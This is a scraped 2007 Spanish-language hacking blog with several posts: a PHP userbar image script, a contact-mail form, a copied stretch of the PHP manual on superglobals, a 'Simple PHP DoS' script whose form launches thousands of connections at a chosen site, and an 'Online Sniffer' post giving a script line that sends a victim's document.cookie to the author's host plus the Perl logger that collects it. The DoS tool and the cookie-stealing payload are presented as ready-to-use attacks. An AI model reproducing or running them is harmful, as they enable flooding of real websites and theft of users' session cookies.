$rmVar="Tu IP es $REMOTE_ADDR";
Y eso es el mismo texto que se mostrará.
Aqui mismo se puede meter cualquier variable de Header. En este caso
$REMOTE_ADDR.
$im = ImageCreateFromPng("imagen.png");
Cargar imagen via php PHP: imagen.png - imagén propio que fue creado por
usuario
$c = ImageColorAllocate($im, 225, 225, 225);
Queda claro que eso se refiere a colores. La combinación - RGB.
(Red/Green/Blue) representa 3 colores : rojo, verde, azul.
ImageString($im,3,75, 43, $string,$c);
Escribir por imagen. Segunda variable (3) - es de tamaño; tercera (75) y
cuarta (43) - son de distancia de izquierdo angulo por horizontal y
vertical,
la quinta ($string) - es texto, la sixta ($c) - color.
ImagePng($im);
Es lo que mostramos en pantalla.
ImageDestroy($im);
Y punto final.
?>
Y por ultimo en archivo ".htaccess" meter siguiente code para asignar
parametros de imagen:
AddType application/x-httpd-php .png
Ejemplo pueden ver en :
http://usuarios.lycos.es/d4rksoft/3g/userbar.php
Buscas un programa y no lo encuentras? Pidelo , posteando en blog o en tag y te lo conseguimos!
Sunday, September 09, 2007 | 0 ¿Tienes alguna pregunta o duda? ¡Deja tu comentario!
Simple PHP DoS
De vuelta, bueno practicamente no tengo tiempo para PC, por trabajo y familia, pero ahora que tengo unos minutitos libres, dejo un buen script, es un ejemplo de como se crea ataques DoS en lenguaje de PHP, la verdad no se a quien pertenece este script, pero sea de quien sea, de ejemplo no está mal =)
<?PHP
/////Simple Dos/////
///Config crap/////
$self= $_SERVER[’PHP_SELF’];
$site = $_POST['site'];
$port = $_POST['port'];
$con = $_POST['con'];
///////////////////////
echo "<form action='$self' method='post'><br><br>";
echo "<input name='site' value='site.com' type='text'><br>";
echo "<input name='port' value='Port IE 80 or 3306' type='text'><br>";
echo "<input name='con' value='Connections: 8000' type='text'><br>";
echo "<input type='submit' value='Launch Attack'><br>";
/////Main - Code//////
echo "<hr><hr>";
$n = 0;
while($n < $con) {
$fp = fsockopen($site, $port, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)[*]<br>n";
} else {
$out = "GET /The-Hackers(DOT)-Info_Send-Their_Reguards! HTTP/1.1rn";
$out .="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)";
$out .= "Host: $sitern";
$out .= "Connection: Closernrn";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
$n = $n + 1;
}
}
?>
Buscas un programa y no lo encuentras? Pidelo , posteando en blog o en tag y te lo conseguimos!
Thursday, September 06, 2007 | 0 ¿Tienes alguna pregunta o duda? ¡Deja tu comentario!
Pequeño script PHP
Pequeño script que sirve para enviar correos desde web al admin de tal o tal pagina.
<?php
/*
Formulario para envio de mails al admin
creado por d4rkv1rus
*/
// cambiar siguentes parametros
$remitnt = "d4rksoft@hotmail.com"; //aqui su
correo donde desea que le envien mails
$status = "Owner"; //Owner va por defecto por lo tanto
cambiarlo por su estado actual de web
$msg = "Gracias, Su mensaje fue enviado correctamente!<br><p
align=right>$status</p>"; //mensaje default ke puede
modificar
// No cambiar codigo si no maneja bien php
$you = "$status. E-mail: $remitnt";
if ($submit) {
if(eregi("^[a-zA-Z0-9\._-]+@[a-z0-9\._-]+\.[a-z]{2,4}\$",$email))
{
if(empty($name)) echo "Su Nombre";
else
{
mail("$remitnt", "mensaje de sitio", "De : $name\nDireccion:
$email\nMensaje:\n\n$message");
echo "<b>$msg<b>\n";
}
} else {
echo "Correo incorrecto o contiene caracteres invalidos. Vuelva a completar
sus datos";
}
}
else {
?>
<form action="<? echo $PHP_SELF?>" method=POST>
<table width=100%>
<tr>
<td align="left">Remitente:
<td align="left"><b><? echo "$you";?></b></td>
</tr>
<tr>
<td align="left">Su Nombre :</td>
<td align="left"><input type=text name=name size=25></td></tr>
<tr>
<td align="left">Su E-Mail: </td>
<td align="left"><input type=text name=email size=25></td></tr>
<tr>
<td align="left">Su Mensaje:</td>
<td align="left"><textarea cols=40 rows=3 name=message></textarea></td>
</tr>
</table>
<input name="submit" type=submit value="Enviar">
</form>
<?php
} // end "else" and end of this script)
?>
Buscas un programa y no lo encuentras? Pidelo , posteando en blog o en tag y te lo conseguimos!
Sunday, July 29, 2007 | 0 ¿Tienes alguna pregunta o duda? ¡Deja tu comentario!
More about PHP
Predefined Variables
Since PHP 4.1.0, the preferred method for retrieving external variables is
with the superglobals mentioned below. Before this time, people relied on either
register_globals or the long predefined PHP arrays ($HTTP_*_VARS).
Начиная с PHP 5.0.0, длинные предопределенные переменные массивов PHP могут быть
отключены директивой register_long_arrays.
Server variables:
$_SERVER
NB: Introduced in 4.1.0. In earlier versions, use
$HTTP_SERVER_VARS.
$_SERVER is an array containing information such
as headers, paths, and script locations. The entries in this array are
created by the webserver. There is no guarantee that every webserver will
provide any of these; servers may omit some, or provide others not listed
here. That said, a large number of these variables are accounted for in the
CGI 1.1 specification, so you should be able to expect those. This is a 'superglobal', or automatic global, variable. This simply means
that it is available in all scopes throughout a script. You don't need to do
a global $_SERVER; to access it within functions or
methods, as you do with $HTTP_SERVER_VARS.
$HTTP_SERVER_VARS contains the same initial
information, but is not an autoglobal. (Note that
$HTTP_SERVER_VARS and $_SERVER are different
variables and that PHP handles them as such)
If the register_globals directive is set, then these variables will also
be made available in the global scope of the script; i.e., separate from the
$_SERVER and $HTTP_SERVER_VARS
arrays. For related information, see the security chapter titled Using
Register Globals. These individual globals are not autoglobals. You may or may not find any of the following elements in $_SERVER. Note
that few, if any, of these will be available (or indeed have any meaning) if
running PHP on the command line.
The filename of the currently executing script, relative to the
document root. For instance,
$_SERVER['PHP_SELF'] in a script at the address
http://example.com/test.php/foo.bar would
be /test.php/foo.bar.
If PHP is running as a command-line processor, this variable is
not available.
'argv'
Array of arguments passed to the script. When the script is run
on the command line, this gives C-style access to the command line
parameters. When called via the GET method, this will contain the
query string.
'argc'
Contains the number of command line parameters passed to the
script (if run on the command line).
'GATEWAY_INTERFACE'
What revision of the CGI specification the server is using; i.e.
'CGI/1.1'.
'SERVER_NAME'
The name of the server host under which the current script is
executing. If the script is running on a virtual host, this will be
the value defined for that virtual host.
'SERVER_SOFTWARE'
Server identification string, given in the headers when
responding to requests.
'SERVER_PROTOCOL'
Name and revision of the information protocol via which the page
was requested; i.e. 'HTTP/1.0';
'REQUEST_METHOD'
Which request method was used to access the page; i.e. 'GET',
'HEAD', 'POST', 'PUT'.
'QUERY_STRING'
The query string, if any, via which the page was accessed.
'DOCUMENT_ROOT'
The document root directory under which the current script is
executing, as defined in the server's configuration file.
'HTTP_ACCEPT'
Contents of the Accept: header from the
current request, if there is one.
'HTTP_ACCEPT_CHARSET'
Contents of the Accept-Charset: header
from the current request, if there is one. Example: 'iso-8859-1,*,utf-8'.
'HTTP_ACCEPT_ENCODING'
Contents of the Accept-Encoding: header
from the current request, if there is one. Example: 'gzip'.
'HTTP_ACCEPT_LANGUAGE'
Contents of the Accept-Language: header
from the current request, if there is one. Example: 'en'.
'HTTP_CONNECTION'
Contents of the Connection: header from
the current request, if there is one. Example: 'Keep-Alive'.
'HTTP_HOST'
Contents of the Host: header from the
current request, if there is one.
'HTTP_REFERER'
The address of the page (if any) which referred the user agent
to the current page. This is set by the user agent. Not all user
agents will set this, and some provide the ability to modify
HTTP_REFERER as a feature. In short, it
cannot really be trusted.
'HTTP_USER_AGENT'
Contents of the User-Agent: header from
the current request, if there is one. This is a string denoting the
user agent being which is accessing the page. A typical example is:
Mozilla/4.5 [en] (X11; U; Linux 2.2.9
i586). Among other things, you can use this value with
get_browser() to tailor your page's output
to the capabilities of the user agent.
'REMOTE_ADDR'
The IP address from which the user is viewing the current page.
'REMOTE_HOST'
The Host name from which the user is viewing the current page.
The reverse dns lookup is based off the
REMOTE_ADDR of the user.
NB: Your web server must be configured to create
this variable. For example in Apache you'll need
HostnameLookups On inside
httpd.conf for it to exist. See
also gethostbyaddr()
'REMOTE_PORT'
The port being used on the user's machine to communicate with
the web server.
'SCRIPT_FILENAME'
The absolute pathname of the currently executing script.
NB: If a script is executed with the CLI, as a
relative path, such as file.php or
../file.php,
$_SERVER['SCRIPT_FILENAME'] will contain the relative
path specified by the user.
'SERVER_ADMIN'
The value given to the SERVER_ADMIN (for Apache) directive in
the web server configuration file. If the script is running on a
virtual host, this will be the value defined for that virtual host.
'SERVER_PORT'
The port on the server machine being used by the web server for
communication. For default setups, this will be '80';
using SSL, for instance, will change this to whatever your defined
secure HTTP port is.
'SERVER_SIGNATURE'
String containing the server version and virtual host name which
are added to server-generated pages, if enabled.
'PATH_TRANSLATED'
Filesystem- (not document root-) based path to the current
script, after the server has done any virtual-to-real mapping.
'SCRIPT_NAME'
Contains the current script's path. This is useful for pages
which need to point to themselves.
'REQUEST_URI'
The URI which was given in order to access this page; for
instance, '/index.html'.
'PHP_AUTH_USER'
When running under Apache as module doing HTTP authentication
this variable is set to the username provided by the user.
'PHP_AUTH_PW'
When running under Apache as module doing HTTP authentication
this variable is set to the password provided by the user.
'AUTH_TYPE'
When running under Apache as module doing HTTP authenticated
this variable is set to the authentication type.
Environment variables:
$_ENV
NB: Introduced in 4.1.0. In earlier versions, use
$HTTP_ENV_VARS.
These variables are imported into PHP's global namespace from the
environment under which the PHP parser is running. Many are provided by the
shell under which PHP is running and different systems are likely running
different kinds of shells, a definitive list is impossible. Please see your
shell's documentation for a list of defined environment variables. Other environment variables include the CGI variables, placed there regardless of whether PHP is running as a server module or CGI processor. This is a 'superglobal', or automatic global, variable. This simply means
that it is available in all scopes throughout a script. You don't need to do
a global $_ENV; to access it within functions or
methods, as you do with $HTTP_ENV_VARS. $HTTP_ENV_VARS contains the same initial
information, but is not an autoglobal. (Note that HTTP_ENV_VARS and $_ENV are different
variables and that PHP handles them as such) If the register_globals directive is set, then these variables will also be made available in the global scope of the script; i.e., separate from the
$_ENV and $HTTP_ENV_VARS arrays. For related information, see the security chapter titled Using Register Globals. These individual globals are not autoglobals.
HTTP Cookies:
$_COOKIE
NB: Introduced in 4.1.0. In earlier versions, use
$HTTP_COOKIE_VARS.
An associative array of variables passed to the current script via HTTP
cookies. Automatically global in any scope. This is a 'superglobal', or automatic global, variable. This simply means that it is available in all scopes throughout a script. You don't need to do
a global $_COOKIE; to access it within functions or
methods, as you do with $HTTP_COOKIE_VARS. $HTTP_COOKIE_VARS contains the same initial information, but is not an autoglobal. (Note that HTTP_COOKIE_VARS and $_COOKIEare different variables and that PHP handles them as such) If the register_globals directive is set, then these variables will also be made available in the global scope of the script;i.e., separate from the $_COOKIE and $HTTP_COOKIE_VARS arrays. For relatedinformation, see the security chapter titled Using Register Globals. These individual globals are not autoglobals.
HTTP GET variables:
$_GET
NB: Introduced in 4.1.0. In earlier versions, use
$HTTP_GET_VARS.
An associative array of variables passed to the current script via the
HTTP GET method. Automatically global in any scope. This is a 'superglobal', or automatic global, variable. This simply means that it is available in all scopes throughout a script. You don't need to do a global $_GET; to access it within functions or methods, as you do with $HTTP_GET_VARS. $HTTP_GET_VARS contains the same initial
information, but is not an autoglobal. (Note that
HTTP_GET_VARS and $_GET are different
variables and that PHP handles them as such) If the register_globals directive is set, then these variables will also
be made available in the global scope of the script; i.e., separate from the
$_GET and $HTTP_GET_VARS
arrays. For related information, see the security chapter titled Using
Register Globals. These individual globals are not autoglobals.
HTTP POST variables:
$_POST
An associative array of variables passed to the current script via theNB: Introduced in 4.1.0. In earlier versions, use
$HTTP_POST_VARS.
HTTP POST method. Automatically global in any scope. This is a 'superglobal', or automatic global, variable. This simply means that it is available in all scopes throughout a script. You don't need to do a global $_POST; to access it within functions or methods, as you do with $HTTP_POST_VARS. $HTTP_POST_VARS contains the same initial
information, but is not an autoglobal. (Note that HTTP_POST_VARS and $_POST are different
variables and that PHP handles them as such) If the register_globals directive is set, then these variables will also be made available in the global scope of the script; i.e., separate from the
$_POST and $HTTP_POST_VARS arrays. For related information, see the security chapter titled Using Register Globals. These individual globals are not autoglobals.
HTTP File upload variables:
$_FILES
An associative array of items uploaded to the current script via the HTTPNB: Introduced in 4.1.0. In earlier versions, use
$HTTP_POST_FILES.
POST method. Automatically global in any scope. This is a 'superglobal', or automatic global, variable. This simply means that it is available in all scopes throughout a script. You don't need to do a global $_FILES; to access it within functions or methods, as you do with $HTTP_POST_FILES. $HTTP_POST_FILES contains the same information, but is not an autoglobal. If the register_globals directive is set, then these variables will also
be made available in the global scope of the script; i.e., separate from the
$_FILES and $HTTP_POST_FILES arrays. For related information, see the security chapter titled Using Register Globals. These individual globals are not autoglobals.
Request variables:
$_REQUEST
NB: Prior to PHP 4.3.0, $_FILESNB: Introduced in 4.1.0. There is no equivalent array in
earlier versions.
information was also included into $_REQUEST.
An associative array consisting of the contents of
$_GET, $_POST, and
$_COOKIE.
This is a 'superglobal', or automatic global, variable. This simply means
that it is available in all scopes throughout a script. You don't need to do
a global $_REQUEST; to access it within functions or
methods. If the register_globals directive is set, then these variables will also
be made available in the global scope of the script; i.e., separate from the
$_REQUEST array. For related information, see the
security chapter titled Using Register Globals. These individual globals are
not autoglobals.
Session variables:
$_SESSION
An associative array containing session variables available to theNB: Introduced in 4.1.0. In earlier versions, use
$HTTP_SESSION_VARS.
current script. See the Session functions documentation for more information
on how this is used. This is a 'superglobal', or automatic global, variable. This simply means
that it is available in all scopes throughout a script. You don't need to do
a global $_SESSION; to access it within functions or
methods, as you do with $HTTP_SESSION_VARS. $HTTP_SESSION_VARS contains the same
information, but is not an autoglobal. If the register_globals directive is set, then these variables will also be made available in the global scope of the script; i.e., separate from the $_SESSION and $HTTP_SESSION_VARS arrays. For related information, see the security chapter titled Using Register Globals. These individual globals are not autoglobals.
Global variables:
$GLOBALS
An associative array containing references to all variables which areNB: $GLOBALS has been available
since PHP 3.0.0.
currently defined in the global scope of the script. The variable names are
the keys of the array. This is a 'superglobal', or automatic global, variable. This simply means
that it is available in all scopes throughout a script. You don't need to do
a global $GLOBALS; to access it within functions or
methods.
The previous error message:
$php_errormsg
$php_errormsg is a variable containing the text
of the last error message generated by PHP. This variable will only be
available within the scope in which the error occurred, and only if the
track_errors configuration option is turned on (it defaults to off).
Buscas un programa y no lo encuentras? Pidelo , posteando en blog o en tag y te lo conseguimos!
Sunday, July 29, 2007 | 0 ¿Tienes alguna pregunta o duda? ¡Deja tu comentario!
Online Sniffer
Online sniffer permite detectar tales datos como IP dirección, URL dirección completa de la web víctima desde donde fue capturado la data necesaria.
Sniffer devuelve al browser GIF file transparente del tamaño 1x1
px.
En este ejemplo al sniffer se le está enviando datos mediante CGI llamada . Por ejemplo
http://tu_web.com/cgi-bin/s.jpg?AQUI_TUS_DATOS
Ejemplo de uso de sniffer:
Una simple llamada por vínculo
<a href="http://tu_web.com/cgi-bin/s.jpg?it is test">click me</a>
Por imagen
<img src="http://tu_web.com/cgi-bin/s.jpg" />
Por script
<script>img = new Image(); img.src = "http://tu_web.com/cgi-bin/s.jpg?"+document.cookie;</script>
Codigo fuente de Online Sniffer basado en Perl
#!/usr/bin/perl
#ruta a log file
$LogFile="log.txt";
#cantidad maxima de logs
$mlength=50;
#hacer redirect a imagen
print "Location: image.gif\n\n";
#lectura de CGI llamada
read(STDIN, $input, $ENV{'CONTENT_LENGTH'});
$input = $ENV{'QUERY_STRING'} if $ENV{'QUERY_STRING'};
$input =~
s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
#obtener hora de llamada y HTTP_REFERER
$now_string = localtime;
$ref = $ENV{'HTTP_REFERER'};
#lectura de logs en masivo
open (LOG,"$LogFile") die "Can't
Open $LogFile: $!\n";
@LOGtext=<LOG>;
close (LOG);
#abrir log
open (LOG, ">$LogFile");
#guardar datos de log
print LOG "[$now_string] IP=$ENV{'REMOTE_ADDR'}
REFERER=$ref QUERY=$input\n";
#guardar logs de tal forma que no supere mlenght
$counter=1;
foreach $LOGitem (@LOGtext)
{
if ($counter<$mlength){
print LOG "$LOGitem"; };
$counter++;
};
#cerrar log
close (LOG);
exit;
Buscas un programa y no lo encuentras? Pidelo , posteando en blog o en tag y te lo conseguimos!
Sunday, July 29, 2007 | 0 ¿Tienes alguna pregunta o duda? ¡Deja tu comentario!